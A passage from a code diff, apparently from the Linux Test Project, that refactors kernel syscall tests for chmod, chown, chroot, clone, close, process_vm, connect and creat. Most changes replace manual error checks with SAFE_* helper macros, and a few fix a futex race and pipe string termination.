+		SAFE_UNLINK(cleanup, filname);
 
 		SAFE_CHDIR(cleanup, "..");
 
diff --git a/testcases/kernel/syscalls/chmod/chmod01.c b/testcases/kernel/syscalls/chmod/chmod01.c
index 9631c92..14002f2 100644
--- a/testcases/kernel/syscalls/chmod/chmod01.c
+++ b/testcases/kernel/syscalls/chmod/chmod01.c
@@ -76,6 +76,7 @@
 #include <signal.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define FILE_MODE	S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH
 #define TESTFILE	"testfile"
@@ -147,13 +148,8 @@
 
 	tst_tmpdir();
 
-	fd = open(TESTFILE, O_RDWR | O_CREAT, FILE_MODE);
-	if (fd == -1)
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "open(%s, O_RDWR|O_CREAT, %o) failed",
-			 TESTFILE, FILE_MODE);
-	if (close(fd) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "close(%s) failed", TESTFILE);
+	fd = SAFE_OPEN(cleanup, TESTFILE, O_RDWR | O_CREAT, FILE_MODE);
+	SAFE_CLOSE(cleanup, fd);
 
 }
 
diff --git a/testcases/kernel/syscalls/chmod/chmod03.c b/testcases/kernel/syscalls/chmod/chmod03.c
index 47c5c97..f53e437 100644
--- a/testcases/kernel/syscalls/chmod/chmod03.c
+++ b/testcases/kernel/syscalls/chmod/chmod03.c
@@ -80,6 +80,7 @@
 #include <pwd.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define FILE_MODE       S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH
 #define PERMS		01777	/*
@@ -148,9 +149,7 @@
 	ltpuser = getpwnam(nobody_uid);
 	if (ltpuser == NULL)
 		tst_brkm(TBROK | TERRNO, NULL, "getpwnam failed");
-	if (setuid(ltpuser->pw_uid) == -1)
-		tst_brkm(TBROK | TERRNO, NULL, "setuid(%u) failed",
-			 ltpuser->pw_uid);
+	SAFE_SETUID(NULL, ltpuser->pw_uid);
 
 	TEST_PAUSE;
 
@@ -167,9 +166,7 @@
 			 TESTFILE, FILE_MODE);
 	}
 
-	if (close(fd) == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup, "close(%s) failed", TESTFILE);
-	}
+	SAFE_CLOSE(cleanup, fd);
 }
 
 /*
diff --git a/testcases/kernel/syscalls/chmod/chmod04.c b/testcases/kernel/syscalls/chmod/chmod04.c
index 0392eac..cbc13cf 100644
--- a/testcases/kernel/syscalls/chmod/chmod04.c
+++ b/testcases/kernel/syscalls/chmod/chmod04.c
@@ -80,6 +80,7 @@
 #include <pwd.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define DIR_MODE 	S_IRWXU | S_IRWXG | S_IRWXO
 #define PERMS		01777	/*
@@ -173,9 +174,7 @@
 	 * Create a test directory under temporary directory with specified
 	 * mode permissios.
 	 */
-	if (mkdir(TESTDIR, DIR_MODE) < 0) {
-		tst_brkm(TBROK, cleanup, "mkdir(2) of %s failed", TESTDIR);
-	}
+	SAFE_MKDIR(cleanup, TESTDIR, DIR_MODE);
 }
 
 /*
diff --git a/testcases/kernel/syscalls/chmod/chmod05.c b/testcases/kernel/syscalls/chmod/chmod05.c
index 7711ac1..6bcc247 100644
--- a/testcases/kernel/syscalls/chmod/chmod05.c
+++ b/testcases/kernel/syscalls/chmod/chmod05.c
@@ -97,6 +97,7 @@
 #include <pwd.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define DEBUG 0
 
@@ -198,16 +199,13 @@
 	 * mode permissions and change the gid of test directory to nobody's
 	 * gid.
 	 */
-	if (mkdir(TESTDIR, MODE_RWX) < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "mkdir(%s) failed", TESTDIR);
+	SAFE_MKDIR(cleanup, TESTDIR, MODE_RWX);
 
 	if (setgroups(1, &nobody_u->pw_gid) == -1)
 		tst_brkm(TBROK | TERRNO, cleanup,
 			 "setgroups to nobody's gid failed");
 
-	if (chown(TESTDIR, nobody_u->pw_uid, bin_group->gr_gid) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "chowning testdir to nobody:bin failed");
+	SAFE_CHOWN(cleanup, TESTDIR, nobody_u->pw_uid, bin_group->gr_gid);
 
 	/* change to nobody:nobody */
 	if (setegid(nobody_u->pw_gid) == -1 || seteuid(nobody_u->pw_uid) == -1)
diff --git a/testcases/kernel/syscalls/chmod/chmod06.c b/testcases/kernel/syscalls/chmod/chmod06.c
index 0cb060e..acd653f 100644
--- a/testcases/kernel/syscalls/chmod/chmod06.c
+++ b/testcases/kernel/syscalls/chmod/chmod06.c
@@ -199,10 +199,7 @@
 	/*
 	 * mount a read-only file system for test EROFS
 	 */
-	if (mount(device, MNT_POINT, fs_type, MS_RDONLY, NULL) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "mount device:%s failed", device);
-	}
+	SAFE_MOUNT(cleanup, device, MNT_POINT, fs_type, MS_RDONLY, NULL);
 	mount_flag = 1;
 
 	memset(long_path, 'a', PATH_MAX+1);
diff --git a/testcases/kernel/syscalls/chmod/chmod07.c b/testcases/kernel/syscalls/chmod/chmod07.c
index b415944..957adbe 100644
--- a/testcases/kernel/syscalls/chmod/chmod07.c
+++ b/testcases/kernel/syscalls/chmod/chmod07.c
@@ -81,6 +81,7 @@
 #include <pwd.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define LTPUSER		"nobody"
 #ifdef ANDROID
@@ -181,19 +182,11 @@
 		tst_brkm(TBROK, cleanup, "getgrnam failed");
 	group1_gid = ltpgroup->gr_gid;
 
-	fd = open(TESTFILE, O_RDWR | O_CREAT, FILE_MODE);
-	if (fd == -1)
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "open(%s, O_RDWR|O_CREAT, %#o) failed",
-			 TESTFILE, FILE_MODE);
-	if (close(fd) == -1)
-		tst_brkm(TBROK, cleanup, "close(%s) failed", TESTFILE);
-	if (chown(TESTFILE, user1_uid, group1_gid) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "chown(%s) failed", TESTFILE);
+	fd = SAFE_OPEN(cleanup, TESTFILE, O_RDWR | O_CREAT, FILE_MODE);
+	SAFE_CLOSE(cleanup, fd);
+	SAFE_CHOWN(cleanup, TESTFILE, user1_uid, group1_gid);
 
-	if (setgid(group1_gid) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "setgid(%d) failed",
-			 group1_gid);
+	SAFE_SETGID(cleanup, group1_gid);
 }
 
 void cleanup(void)
diff --git a/testcases/kernel/syscalls/chown/chown02.c b/testcases/kernel/syscalls/chown/chown02.c
index 227986e..a459f09 100644
--- a/testcases/kernel/syscalls/chown/chown02.c
+++ b/testcases/kernel/syscalls/chown/chown02.c
@@ -78,6 +78,7 @@
 #include <signal.h>
 
 #include "test.h"
+#include "safe_macros.h"
 #include "compat_16.h"
 
 #define FILE_MODE	(S_IFREG|S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH)
@@ -238,14 +239,10 @@
 		tst_brkm(TBROK | TERRNO, cleanup,
 			 "open(%s, O_RDWR|O_CREAT, %o) failed",
 			 TESTFILE1, FILE_MODE);
-	if (close(fd) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "close(%s) failed",
-			 TESTFILE1);
+	SAFE_CLOSE(cleanup, fd);
 
 	/* Set setuid/setgid bits on the test file created */
-	if (chmod(TESTFILE1, NEW_PERMS1) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "chmod(%s, ..) failed",
-			 TESTFILE1);
+	SAFE_CHMOD(cleanup, TESTFILE1, NEW_PERMS1);
 	return 0;
 }
 
@@ -268,9 +265,7 @@
 	/* Set setgid bit on the test file created */
 	if (fchmod(fd, NEW_PERMS2) != 0)
 		tst_brkm(TBROK | TERRNO, cleanup, "fchmod failed");
-	if (close(fd) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "close(%s) failed",
-			 TESTFILE2);
+	SAFE_CLOSE(cleanup, fd);
 	return 0;
 }
 
diff --git a/testcases/kernel/syscalls/chown/chown03.c b/testcases/kernel/syscalls/chown/chown03.c
index fdf4001..2c7bcfe 100644
--- a/testcases/kernel/syscalls/chown/chown03.c
+++ b/testcases/kernel/syscalls/chown/chown03.c
@@ -81,6 +81,7 @@
 #include <pwd.h>
 
 #include "test.h"
+#include "safe_macros.h"
 #include "compat_16.h"
 
 #define FILE_MODE	(S_IFREG|S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH)
@@ -169,12 +170,8 @@
 	ltpuser = getpwnam(nobody_uid);
 	if (ltpuser == NULL)
 		tst_brkm(TBROK | TERRNO, NULL, "getpwnam(\"nobody\") failed");
-	if (setegid(ltpuser->pw_gid) == -1)
-		tst_brkm(TBROK | TERRNO, NULL, "setegid(%d) failed",
-			 ltpuser->pw_gid);
-	if (seteuid(ltpuser->pw_uid) == -1)
-		tst_brkm(TBROK | TERRNO, NULL, "seteuid(%d) failed",
-			 ltpuser->pw_uid);
+	SAFE_SETEGID(NULL, ltpuser->pw_gid);
+	SAFE_SETEUID(NULL, ltpuser->pw_uid);
 
 	/* Create a test file under temporary directory */
 	if ((fd = open(TESTFILE, O_RDWR | O_CREAT, FILE_MODE)) == -1)
@@ -182,21 +179,15 @@
 			 "open(%s, O_RDWR|O_CREAT, %o) failed", TESTFILE,
 			 FILE_MODE);
 
-	if (seteuid(0) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "seteuid(0) failed");
+	SAFE_SETEUID(cleanup, 0);
 
-	if (fchown(fd, -1, 0) < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "fchown failed");
+	SAFE_FCHOWN(cleanup, fd, -1, 0);
 
-	if (fchmod(fd, NEW_PERMS) < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "fchmod failed");
+	SAFE_FCHMOD(cleanup, fd, NEW_PERMS);
 
-	if (seteuid(ltpuser->pw_uid) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "seteuid to nobody failed");
+	SAFE_SETEUID(cleanup, ltpuser->pw_uid);
 
-	if (close(fd) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "closing %s failed",
-			 TESTFILE);
+	SAFE_CLOSE(cleanup, fd);
 }
 
 void cleanup(void)
diff --git a/testcases/kernel/syscalls/chown/chown04.c b/testcases/kernel/syscalls/chown/chown04.c
index 7827067..1f3ed41 100644
--- a/testcases/kernel/syscalls/chown/chown04.c
+++ b/testcases/kernel/syscalls/chown/chown04.c
@@ -172,10 +172,7 @@
 	SAFE_TOUCH(cleanup, TEST_FILE2, 0666, NULL);
 
 	SAFE_MKDIR(cleanup, "mntpoint", DIR_MODE);
-	if (mount(device, "mntpoint", fs_type, MS_RDONLY, NULL) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "mount device:%s failed", device);
-	}
+	SAFE_MOUNT(cleanup, device, "mntpoint", fs_type, MS_RDONLY, NULL);
 	mount_flag = 1;
 
 	SAFE_SETEUID(cleanup, ltpuser->pw_uid);
diff --git a/testcases/kernel/syscalls/chown/chown05.c b/testcases/kernel/syscalls/chown/chown05.c
index 51a7fc0..840558c 100644
--- a/testcases/kernel/syscalls/chown/chown05.c
+++ b/testcases/kernel/syscalls/chown/chown05.c
@@ -76,6 +76,7 @@
 #include <signal.h>
 
 #include "test.h"
+#include "safe_macros.h"
 #include "compat_16.h"
 
 #define FILE_MODE	(S_IFREG|S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH)
@@ -162,8 +163,7 @@
 	if ((fd = open(TESTFILE, O_RDWR | O_CREAT, FILE_MODE)) == -1)
 		tst_brkm(TBROK | TERRNO, cleanup, "opening %s failed",
 			 TESTFILE);
-	if (close(fd) == -1)
-		tst_brkm(TBROK, cleanup, "closing %s failed", TESTFILE);
+	SAFE_CLOSE(cleanup, fd);
 
 }
 
diff --git a/testcases/kernel/syscalls/chroot/chroot01.c b/testcases/kernel/syscalls/chroot/chroot01.c
index 047230c..9cdcab8 100644
--- a/testcases/kernel/syscalls/chroot/chroot01.c
+++ b/testcases/kernel/syscalls/chroot/chroot01.c
@@ -47,6 +47,7 @@
 #include <stdio.h>
 #include <errno.h>
 #include "test.h"
+#include "safe_macros.h"
 #include <pwd.h>
 
 char *TCID = "chroot01";
@@ -102,8 +103,7 @@
 		tst_brkm(TBROK | TERRNO, cleanup,
 			 "getpwnam(\"nobody\") failed");
 
-	if (seteuid(ltpuser->pw_uid) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "seteuid to nobody failed");
+	SAFE_SETEUID(cleanup, ltpuser->pw_uid);
 
 	tst_sig(NOFORK, DEF_HANDLER, cleanup);
 
@@ -112,8 +112,7 @@
 
 void cleanup(void)
 {
-	if (seteuid(0) == -1)
-		tst_brkm(TBROK | TERRNO, NULL, "setuid(0) failed");
+	SAFE_SETEUID(NULL, 0);
 
 	tst_rmdir();
 }
diff --git a/testcases/kernel/syscalls/chroot/chroot03.c b/testcases/kernel/syscalls/chroot/chroot03.c
index de247b6..b904e4a 100644
--- a/testcases/kernel/syscalls/chroot/chroot03.c
+++ b/testcases/kernel/syscalls/chroot/chroot03.c
@@ -143,9 +143,7 @@
 	 * ENOTDIR if the argument is not a directory.
 	 */
 	(void)sprintf(fname, "tfile_%d", getpid());
-	fd = creat(fname, 0777);
-	if (fd == -1)
-		tst_brkm(TBROK, cleanup, "Failed to creat a temp file");
+	fd = SAFE_CREAT(cleanup, fname, 0777);
 
 #if !defined(UCLINUX)
 	bad_addr = mmap(0, 1, PROT_NONE,
diff --git a/testcases/kernel/syscalls/chroot/chroot04.c b/testcases/kernel/syscalls/chroot/chroot04.c
index 254db0c..69fd213 100644
--- a/testcases/kernel/syscalls/chroot/chroot04.c
+++ b/testcases/kernel/syscalls/chroot/chroot04.c
@@ -48,6 +48,7 @@
 #include <errno.h>
 #include <sys/stat.h>
 #include "test.h"
+#include "safe_macros.h"
 #include <pwd.h>
 
 char *TCID = "chroot04";
@@ -114,9 +115,7 @@
 	}
 
 	ltpuser = getpwnam(nobody_uid);
-	if (seteuid(ltpuser->pw_uid) == -1) {
-		tst_brkm(TBROK, cleanup, "seteuid to nobody failed");
-	}
+	SAFE_SETEUID(cleanup, ltpuser->pw_uid);
 
 }
 
@@ -127,9 +126,7 @@
 void cleanup(void)
 {
 	/* reset the process ID to the saved ID (root) */
-	if (setuid(0) == -1) {
-		tst_brkm(TBROK | TERRNO, NULL, "setuid(0) failed");
-	}
+	SAFE_SETUID(NULL, 0);
 	if (rmdir(TEST_TMPDIR) != 0) {
 		tst_brkm(TFAIL | TERRNO, NULL, "rmdir(%s) failed", TEST_TMPDIR);
 	}
diff --git a/testcases/kernel/syscalls/clock_nanosleep/clock_nanosleep02.c b/testcases/kernel/syscalls/clock_nanosleep/clock_nanosleep02.c
index f114013..9b0b243 100644
--- a/testcases/kernel/syscalls/clock_nanosleep/clock_nanosleep02.c
+++ b/testcases/kernel/syscalls/clock_nanosleep/clock_nanosleep02.c
@@ -44,6 +44,6 @@
 }
 
 static struct tst_test test = {
-	.tid = "nanosleep()",
+	.scall = "clock_nanosleep()",
 	.sample = sample_fn,
 };
diff --git a/testcases/kernel/syscalls/clone/clone01.c b/testcases/kernel/syscalls/clone/clone01.c
index 855c108..e490b4e 100644
--- a/testcases/kernel/syscalls/clone/clone01.c
+++ b/testcases/kernel/syscalls/clone/clone01.c
@@ -30,6 +30,7 @@
 #include <sched.h>
 #include <sys/wait.h>
 #include "test.h"
+#include "safe_macros.h"
 #include "clone_platform.h"
 
 static void setup(void);
@@ -58,10 +59,7 @@
 	if (TEST_RETURN == -1)
 		tst_resm(TFAIL | TTERRNO, "clone failed");
 
-	child_pid = wait(&status);
-	if (child_pid == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "wait failed, status: %d",
-			 status);
+	child_pid = SAFE_WAIT(cleanup, &status);
 
 	if (TEST_RETURN == child_pid)
 		tst_resm(TPASS, "clone returned %ld", TEST_RETURN);
diff --git a/testcases/kernel/syscalls/clone/clone02.c b/testcases/kernel/syscalls/clone/clone02.c
index 3f61d22..d864aae 100644
--- a/testcases/kernel/syscalls/clone/clone02.c
+++ b/testcases/kernel/syscalls/clone/clone02.c
@@ -63,6 +63,7 @@
 #include <sys/syscall.h>
 #include <sched.h>
 #include "test.h"
+#include "safe_macros.h"
 
 #define FLAG_ALL (CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|SIGCHLD)
 #define FLAG_NONE SIGCHLD
@@ -250,15 +251,7 @@
 {
 
 	/* Restore parent's working directory */
-	if (chdir(cwd_parent) == -1) {
-		/*
-		 * we have to exit here
-		 *
-		 * XXX (garrcoop): why???
-		 */
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "chdir() failed in test_cleanup()");
-	}
+	SAFE_CHDIR(cleanup, cwd_parent);
 
 }
 
diff --git a/testcases/kernel/syscalls/clone/clone08.c b/testcases/kernel/syscalls/clone/clone08.c
index 58f9be0..a228b2f 100644
--- a/testcases/kernel/syscalls/clone/clone08.c
+++ b/testcases/kernel/syscalls/clone/clone08.c
@@ -133,9 +133,7 @@
 
 static void test_clone_tid(int t)
 {
-	pid_t child;
-
-	child = clone_child(&test_cases[t]);
+	clone_child(&test_cases[t]);
 	tst_reap_children();
 }
 
@@ -206,11 +204,22 @@
 
 		clone_child(&test_cases[t]);
 
-		if (syscall(SYS_futex, &ctid, FUTEX_WAIT, -1, &timeout))
-			tst_res(TFAIL | TERRNO, "futex failed");
-		else
-			tst_res(TPASS, "futex exit on ctid change");
-
+		if (syscall(SYS_futex, &ctid, FUTEX_WAIT, -1, &timeout)) {
+			/*
+			 * futex here is racing with clone() above.
+			 * Which means we can get EWOULDBLOCK if
+			 * ctid has been already changed by clone()
+			 * before we make the call. As long as ctid
+			 * changes we should not report error when
+			 * futex returns EWOULDBLOCK.
+			 */
+			if (errno != EWOULDBLOCK || ctid == -1) {
+				tst_res(TFAIL | TERRNO,
+					"futex failed, ctid: %d", ctid);
+				_exit(0);
+			}
+		}
+		tst_res(TPASS, "futex exit on ctid change, ctid: %d", ctid);
 		_exit(0);
 	}
 
diff --git a/testcases/kernel/syscalls/close/close01.c b/testcases/kernel/syscalls/close/close01.c
index 7b119ce..c734ff7 100644
--- a/testcases/kernel/syscalls/close/close01.c
+++ b/testcases/kernel/syscalls/close/close01.c
@@ -27,6 +27,7 @@
 #include <fcntl.h>
 #include <sys/stat.h>
 #include "test.h"
+#include "safe_macros.h"
 
 void cleanup(void);
 void setup(void);
@@ -72,9 +73,7 @@
 			tst_brkm(TBROK | TERRNO, cleanup,
 				 "can't dup the file des");
 
-		if (pipe(pipefildes) == -1) {
-			tst_brkm(TBROK | TERRNO, cleanup, "can't open pipe");
-		}
+		SAFE_PIPE(cleanup, pipefildes);
 
 		for (i = 0; i < TST_TOTAL; i++) {
 
diff --git a/testcases/kernel/syscalls/close/close08.c b/testcases/kernel/syscalls/close/close08.c
index b8e8990..ccdefa1 100644
--- a/testcases/kernel/syscalls/close/close08.c
+++ b/testcases/kernel/syscalls/close/close08.c
@@ -115,6 +115,7 @@
 #include <string.h>
 #include <signal.h>
 #include "test.h"
+#include "safe_macros.h"
 
 void setup();
 void cleanup();
@@ -150,10 +151,7 @@
 				 TEST_RETURN);
 		}
 
-		if (unlink(fname) == -1) {
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "unlink(%s) failed", fname);
-		}
+		SAFE_UNLINK(cleanup, fname);
 	}
 
 	cleanup();
diff --git a/testcases/kernel/syscalls/cma/process_vm01.c b/testcases/kernel/syscalls/cma/process_vm01.c
index 110db6e..bc6b04f 100644
--- a/testcases/kernel/syscalls/cma/process_vm01.c
+++ b/testcases/kernel/syscalls/cma/process_vm01.c
@@ -349,9 +349,7 @@
 		ltpuser = getpwnam(nobody_uid);
 		if (ltpuser == NULL)
 			tst_brkm(TBROK | TERRNO, NULL, "getpwnam failed");
-		if (setuid(ltpuser->pw_uid) == -1)
-			tst_brkm(TBROK | TERRNO, NULL,
-				 "setuid(%u) failed", ltpuser->pw_uid);
+		SAFE_SETUID(NULL, ltpuser->pw_uid);
 
 		params = cma_alloc_sane_params();
 		params->pid = parent_pid;
@@ -361,8 +359,7 @@
 		cma_free_params(params);
 		exit(ret);
 	default:
-		if (waitpid(child_pid, &status, 0) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "waitpid");
+		SAFE_WAITPID(cleanup, child_pid, &status, 0);
 		if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
 			tst_resm(TFAIL, "child returns %d", status);
 	}
@@ -396,8 +393,7 @@
 	cma_check_ret(-1, TEST_RETURN);
 	cma_check_errno(EFAULT);
 
-	if (munmap(p, getpagesize()) < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "munmap");
+	SAFE_MUNMAP(cleanup, p, getpagesize());
 
 	cma_free_params(sane_params);
 }
diff --git a/testcases/kernel/syscalls/cma/process_vm_readv02.c b/testcases/kernel/syscalls/cma/process_vm_readv02.c
index 32ce8fc..ef9b7e1 100644
--- a/testcases/kernel/syscalls/cma/process_vm_readv02.c
+++ b/testcases/kernel/syscalls/cma/process_vm_readv02.c
@@ -55,8 +55,7 @@
 		tst_count = 0;
 		len = strlen(tst_string);
 
-		if (pipe(pipe_fd) < 0)
-			tst_brkm(TBROK | TERRNO, cleanup, "pipe");
+		SAFE_PIPE(cleanup, pipe_fd);
 
 		/* the start of child_alloc and child_invoke is already
 		 * synchronized via pipe */
@@ -79,16 +78,14 @@
 		}
 
 		/* wait until child_invoke reads from child_alloc's VM */
-		if (waitpid(pids[1], &status, 0) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "waitpid");
+		SAFE_WAITPID(cleanup, pids[1], &status, 0);
 		if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
 			tst_resm(TFAIL, "child 1 returns %d", status);
 
 		/* child_alloc is free to exit now */
 		TST_SAFE_CHECKPOINT_WAKE(cleanup, 0);
 
-		if (waitpid(pids[0], &status, 0) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "waitpid");
+		SAFE_WAITPID(cleanup, pids[0], &status, 0);
 		if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
 			tst_resm(TFAIL, "child 0 returns %d", status);
 	}
@@ -110,7 +107,7 @@
 	/* passing addr of string "foo" via pipe */
 	SAFE_CLOSE(tst_exit, pipe_fd[0]);
 	snprintf(buf, BUFSIZ, "%p", foo);
-	SAFE_WRITE(tst_exit, 1, pipe_fd[1], buf, strlen(buf));
+	SAFE_WRITE(tst_exit, 1, pipe_fd[1], buf, strlen(buf) + 1);
 	SAFE_CLOSE(tst_exit, pipe_fd[1]);
 
 	/* wait until child_invoke is done reading from our VM */
diff --git a/testcases/kernel/syscalls/cma/process_vm_readv03.c b/testcases/kernel/syscalls/cma/process_vm_readv03.c
index 0535e85..8b8dfc3 100644
--- a/testcases/kernel/syscalls/cma/process_vm_readv03.c
+++ b/testcases/kernel/syscalls/cma/process_vm_readv03.c
@@ -71,8 +71,7 @@
 	for (lc = 0; TEST_LOOPING(lc); lc++) {
 		tst_count = 0;
 
-		if (pipe(pipe_fd) < 0)
-			tst_brkm(TBROK | TERRNO, cleanup, "pipe");
+		SAFE_PIPE(cleanup, pipe_fd);
 
 		bufsz_arr = SAFE_MALLOC(cleanup, nr_iovecs * sizeof(int));
 		gen_random_arr(bufsz_arr, nr_iovecs);
@@ -98,16 +97,14 @@
 		}
 
 		/* wait until child_invoke reads from child_alloc's VM */
-		if (waitpid(pids[1], &status, 0) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "waitpid");
+		SAFE_WAITPID(cleanup, pids[1], &status, 0);
 		if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
 			tst_resm(TFAIL, "child 1 returns %d", status);
 
 		/* child_alloc is free to exit now */
 		TST_SAFE_CHECKPOINT_WAKE(cleanup, 0);
 
-		if (waitpid(pids[0], &status, 0) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "waitpid");
+		SAFE_WAITPID(cleanup, pids[0], &status, 0);
 		if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
 			tst_resm(TFAIL, "child 0 returns %d", status);
 
@@ -155,7 +152,7 @@
 	/* passing addr via pipe */
 	SAFE_CLOSE(tst_exit, pipe_fd[0]);
 	snprintf(buf, BUFSIZ, "%p", (void *)foo);
-	SAFE_WRITE(tst_exit, 1, pipe_fd[1], buf, strlen(buf));
+	SAFE_WRITE(tst_exit, 1, pipe_fd[1], buf, strlen(buf) + 1);
 	SAFE_CLOSE(tst_exit, pipe_fd[1]);
 
 	/* wait until child_invoke is done reading from our VM */
diff --git a/testcases/kernel/syscalls/cma/process_vm_writev02.c b/testcases/kernel/syscalls/cma/process_vm_writev02.c
index 9e8bfe1..b707760 100644
--- a/testcases/kernel/syscalls/cma/process_vm_writev02.c
+++ b/testcases/kernel/syscalls/cma/process_vm_writev02.c
@@ -65,8 +65,7 @@
 	for (lc = 0; TEST_LOOPING(lc); lc++) {
 		tst_count = 0;
 
-		if (pipe(pipe_fd) < 0)
-			tst_brkm(TBROK | TERRNO, cleanup, "pipe");
+		SAFE_PIPE(cleanup, pipe_fd);
 
 		/* the start of child_init_and_verify and child_write is
 		 * already synchronized via pipe */
@@ -92,16 +91,14 @@
 
 		/* wait until child_write writes into
 		 * child_init_and_verify's VM */
-		if (waitpid(pids[1], &status, 0) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "waitpid");
+		SAFE_WAITPID(cleanup, pids[1], &status, 0);
 		if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
 			tst_resm(TFAIL, "child 1 returns %d", status);
 
 		/* signal child_init_and_verify to verify its VM now */
 		TST_SAFE_CHECKPOINT_WAKE(cleanup, 0);
 
-		if (waitpid(pids[0], &status, 0) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "waitpid");
+		SAFE_WAITPID(cleanup, pids[0], &status, 0);
 		if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
 			tst_resm(TFAIL, "child 0 returns %d", status);
 	}
@@ -124,7 +121,7 @@
 	/* passing addr of string "foo" via pipe */
 	SAFE_CLOSE(tst_exit, pipe_fd[0]);
 	snprintf(buf, bufsz, "%p", foo);
-	SAFE_WRITE(tst_exit, 1, pipe_fd[1], buf, strlen(buf));
+	SAFE_WRITE(tst_exit, 1, pipe_fd[1], buf, strlen(buf) + 1);
 	SAFE_CLOSE(tst_exit, pipe_fd[1]);
 
 	/* wait until child_write() is done writing to our VM */
diff --git a/testcases/kernel/syscalls/connect/connect01.c b/testcases/kernel/syscalls/connect/connect01.c
index af60354..2be83cf 100644
--- a/testcases/kernel/syscalls/connect/connect01.c
+++ b/testcases/kernel/syscalls/connect/connect01.c
@@ -53,6 +53,7 @@
 #include <netinet/in.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "connect01";
 int testno;
@@ -202,9 +203,8 @@
 
 void setup1(void)
 {
-	s = socket(tdat[testno].domain, tdat[testno].type, tdat[testno].proto);
-	if (s < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "socket() failed");
+	s = SAFE_SOCKET(cleanup, tdat[testno].domain, tdat[testno].type,
+		        tdat[testno].proto);
 }
 
 void cleanup1(void)
@@ -216,9 +216,7 @@
 void setup2(void)
 {
 	setup1();		/* get a socket in s */
-	if (connect(s, (const struct sockaddr *)&sin1, sizeof(sin1)) < 0)
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "socket setup failed connect test %d", testno);
+	SAFE_CONNECT(cleanup, s, (const struct sockaddr *)&sin1, sizeof(sin1));
 }
 
 pid_t start_server(struct sockaddr_in *sin0)
@@ -243,8 +241,7 @@
 		tst_brkm(TBROK | TERRNO, cleanup, "server listen failed");
 		return -1;
 	}
-	if (getsockname(sfd, (struct sockaddr *)sin0, &slen) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "getsockname failed");
+	SAFE_GETSOCKNAME(cleanup, sfd, (struct sockaddr *)sin0, &slen);
 
 	switch ((pid = FORK_OR_VFORK())) {
 	case 0:		/* child */
diff --git a/testcases/kernel/syscalls/creat/creat01.c b/testcases/kernel/syscalls/creat/creat01.c
index 6b70be2..5d0ffc6 100644
--- a/testcases/kernel/syscalls/creat/creat01.c
+++ b/testcases/kernel/syscalls/creat/creat01.c
@@ -53,10 +53,7 @@
 	struct stat buf;
 	char c;
 
-	fd = creat(filename, tcases[i].mode);
-
-	if (fd == -1)
-		tst_brk(TBROK | TERRNO, "creat() failed");
+	fd = SAFE_CREAT(filename, tcases[i].mode);
 
 	SAFE_STAT(filename, &buf);
 
diff --git a/testcases/kernel/syscalls/creat/creat07.c b/testcases/kernel/syscalls/creat/creat07.c
index e1b2676..a016604 100644
--- a/testcases/kernel/syscalls/creat/creat07.c
+++ b/testcases/kernel/syscalls/creat/creat07.c
@@ -38,9 +38,7 @@
 
 	pid = SAFE_FORK();
 	if (pid == 0) {
-		char *av[] = {TEST_APP, NULL};
-		(void)execve(TEST_APP, av, tst_ipc_envp);
-		perror("execve failed");
+		SAFE_EXECL(TEST_APP, TEST_APP, NULL);
 		exit(1);
 	}
 
diff --git a/testcases/kernel/syscalls/creat/creat08.c b/testcases/kernel/syscalls/creat/creat08.c
index 1cac42d..cff73f1 100644
--- a/testcases/kernel/syscalls/creat/creat08.c
+++ b/testcases/kernel/syscalls/creat/creat08.c
@@ -52,6 +52,7 @@
 #include <grp.h>
 #include <pwd.h>
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "creat08";
 int TST_TOTAL = 1;
@@ -444,22 +445,11 @@
 	if (unlink(nosetgid_A) == -1) {
 		tst_resm(TBROK, "unlink %s failed", nosetgid_A);
 	}
